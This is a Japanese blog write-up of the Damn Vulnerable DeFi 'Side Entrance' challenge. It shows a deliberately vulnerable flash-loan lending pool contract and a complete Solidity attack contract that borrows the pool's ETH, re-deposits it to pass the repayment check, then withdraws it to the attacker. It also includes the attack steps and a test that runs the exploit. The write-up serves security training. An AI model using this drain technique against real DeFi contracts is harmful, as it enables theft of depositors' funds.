moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi(四)- サイドエントランス

Damn Vulnerable DeFiは、DeFi スマートコントラクト攻撃のチャレンジシリーズです。内容には、フラッシュローン攻撃、レンディングプール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript の関連スキルが必要です。各問題に対して、単体テストがパスすることを確認する必要があります。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/4.html

問題の説明:

レンディングプールコントラクトがあり、誰でも ETH を預け入れ、いつでも引き出すことができます。このレンディングプールにはすでに 1000ETH の残高があり、預け入れた ETH を無料のフラッシュローンとして提供してシステムを宣伝しています。

あなたがする必要があるのは、レンディングプールからすべての ETH を引き出すことです。

レンディングプールコントラクト SideEntranceLenderPool.sol

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

// フラッシュローン機能を使用するためのコントラクトインターフェース
interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @dev Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)から引用
 */
contract SideEntranceLenderPool {
    using Address for address payable;
		
    // アドレスに対応する残高のマッピング
    mapping (address => uint256) private balances;
    
    // 資金を預け入れ、残高を記録する
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
		
    // 引き出し関数
    function withdraw() external {
        // 呼び出し元の利用可能な残高を取得
        uint256 amountToWithdraw = balances[msg.sender];
        // 残高をゼロにする
        balances[msg.sender] = 0;
        // 利用可能な残高を呼び出し元に転送する
        payable(msg.sender).sendValue(amountToWithdraw);
    }
		
    // フラッシュローン関数
    function flashLoan(uint256 amount) external {
        // 残高を取得
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        // フラッシュローンを使用するコントラクトのexecute関数をコールバックする
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
				
        // 残高が返却されたことを確認する
        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}

このレンディングプールコントラクトは資金の預け入れを許可し、他の人が無料でフラッシュローン機能を使用できるようにしています。

このコントラクトは deposit 関数を提供しているため、借りた ETH をこの関数に呼び出して預けることで、flashLoan の最後の返済要件を満たすことができます。また、手動で withdraw 関数を呼び出して残高を引き出すこともできます。

したがって、攻撃用のコントラクト SideEntranceAttack.sol が必要です。

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
  using Address for address payable;
	
  // レンディングプールコントラクト
  SideEntranceLenderPool public pool;

  constructor(address _pool) {
    pool = SideEntranceLenderPool(_pool);
  }
	
  // フラッシュローン関数
  function flashLoan() external onlyOwner {
    // レンディングプールコントラクトの flashLoan 関数を呼び出して残高をすべて借り出す
    pool.flashLoan(address(pool).balance);
    
    // 残高を引き出し、その残高を攻撃者のアドレスに転送する
    pool.withdraw();
    payable(msg.sender).sendValue(address(this).balance);
  }

  function execute()  external override payable {
    require(msg.sender == address(pool), "caller not the pool");
    // 借り出したETHを再度預け入れる
    pool.deposit{value: msg.value}();
  }

  receive () external payable {}
}

攻撃手順:

  1. レンディングプールコントラクトの flashLoan 関数を呼び出して、残高をすべて借り出す
  2. レンディングプールコントラクトがコールバックを実行 - execute を呼び出し、この関数内で借り出した ETH をレンディングプールコントラクトに預け入れる
  3. レンディングプールコントラクトの withdraw 関数を呼び出して、預け入れた ETH をこのコントラクトに引き出す
  4. コントラクトの残高を攻撃者のアドレスに転送する

最後に、テストケース side-entrance.challenge.js に実行コードを記述します。

it('Exploit', async function () {
  // 攻撃者のアドレスで攻撃用コントラクトをデプロイ
  const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
  const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)

  await sideEntranceReveive.flashLoan()
})

yarn side-entrance を実行してテストがパスすることを確認します!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。